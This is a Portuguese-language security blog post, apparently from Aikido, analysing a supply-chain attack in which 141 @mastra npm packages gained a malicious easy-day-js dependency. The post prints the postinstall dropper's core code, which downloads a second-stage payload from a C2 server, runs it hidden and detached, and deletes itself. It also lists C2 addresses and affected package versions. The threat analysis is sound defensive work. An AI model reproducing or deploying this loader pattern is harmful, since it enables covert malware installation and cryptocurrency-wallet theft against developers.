Aikido

Mais de 140 pacotes populares do Mastra no npm foram afetados por um ataque à cadeia de abastecimento

Escrito por
Ilyas Makari

No dia 17 de junho, detetámos um ataque em grande escala à cadeia de abastecimento que visava toda a @mastra npm scope, uma popular estrutura de código aberto para agentes de IA. Um atacante republicou 141 pacotes numa sequência entre as 01:15 e as 02:00 UTC, inserindo silenciosamente uma dependência maliciosa em cada um deles. Os pacotes afetados incluem @mastra/core, que tem 918 mil downloads semanais no npm, bem como mastra e criar-mastra.

O script pós-instalação

A todos os 141 pacotes foi adicionada uma única nova dependência ao seu package.json: easy-day-js, um clone malicioso da popular biblioteca de datas dayjs. O pacote foi publicado por uma conta separada, controlada pelo atacante, um dia antes da apropriação do escopo. É importante referir que a versão inicial (1.11.21) estava completamente limpa, sendo uma cópia exata de dayjs sem mecanismos de instalação. A versão maliciosa (1.11.22) surgiu no dia seguinte, precisamente na altura em que o @mastra Os pacotes foram republicados. Os pacotes comprometidos dependem de ^1.11.21, mas a resolução do símbolo «caret» do npm importa automaticamente a versão maliciosa 1.11.22 como a mais recente, enquanto a auditoria à versão fixada não revela nada de suspeito.

A versão 1.11.22 adiciona um postinstall gancho que se estende setup.cjs, um script ofuscado que se executa automaticamente durante a instalação, sem qualquer interação por parte do utilizador.

// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
  detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletes

O que este script faz, passo a passo:

  • Recupera uma carga útil de segunda fase do servidor C2 em 23[.]254[.]164[.]92:8000
  • Grava a carga útil num ficheiro com um nome aleatório .js ficheiro no diretório temporário do sistema operativo
  • Executa a carga útil como um processo em segundo plano totalmente independente, invisível em todas as plataformas (stdio: ignorar, windowsHide: true), passando por um segundo anfitrião C2 23[.]254[.]164[.]123:443 como argumento
  • Autodestruição para eliminar provas forenses do gancho pós-instalação

A segunda fase decorre como um processo em segundo plano de longa duração que recolhe informações do sistema e tem como alvo mais de 160 extensões de carteiras de criptomoedas para navegadores, incluindo MetaMask, Keplr, Coinbase e outras. Estabelece a sua persistência disfarçando-se de ferramentas relacionadas com nós no macOS, Windows e Linux, todas elas a enviar dados para 23[.]254[.]164[.]123:443.

Semelhanças com o caso de segurança da Axios

A estratégia aqui é praticamente idêntica à do compromisso da Axios que abordámos em março de 2026. Em ambos os ataques, o atacante evitou alterar o código do próprio pacote alvo e, em vez disso, injetou uma dependência maliciosa, aproveitando-se do npm postinstall gancho para executar a carga útil automaticamente no momento da instalação. Ambos lançaram primeiro uma versão isca inofensiva, seguida da versão maliciosa. No ataque ao axios, plain-crypto-js desempenhou o papel de easy-day-js é executado aqui. Ambos os droppers também se autodestruem após a execução, para eliminar provas forenses.

A infraestrutura também segue o mesmo padrão. O dropper do Axios fazia uma chamada de retorno para um VPS da Hostwinds na porta 8000. O easy-day-js O conta-gotas faz o mesmo, atingindo 23[.]254[.]164[.]92:8000 na infraestrutura da Hostwinds.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de Comprometimento

Indicadores de rede

23[.]254[.]164[.]92:8000 — C2 do primeiro estágio, transferência da carga útil
23[.]254[.]164[.]123:443 — servidor de callback da segunda fase, passado ao RAT criado

Pacotes afetados

easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

Compartilhar:

https://www.aikido.dev/blog/over-140-popular-mastra-npm-packages-hit-by-supply-chain-attack

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.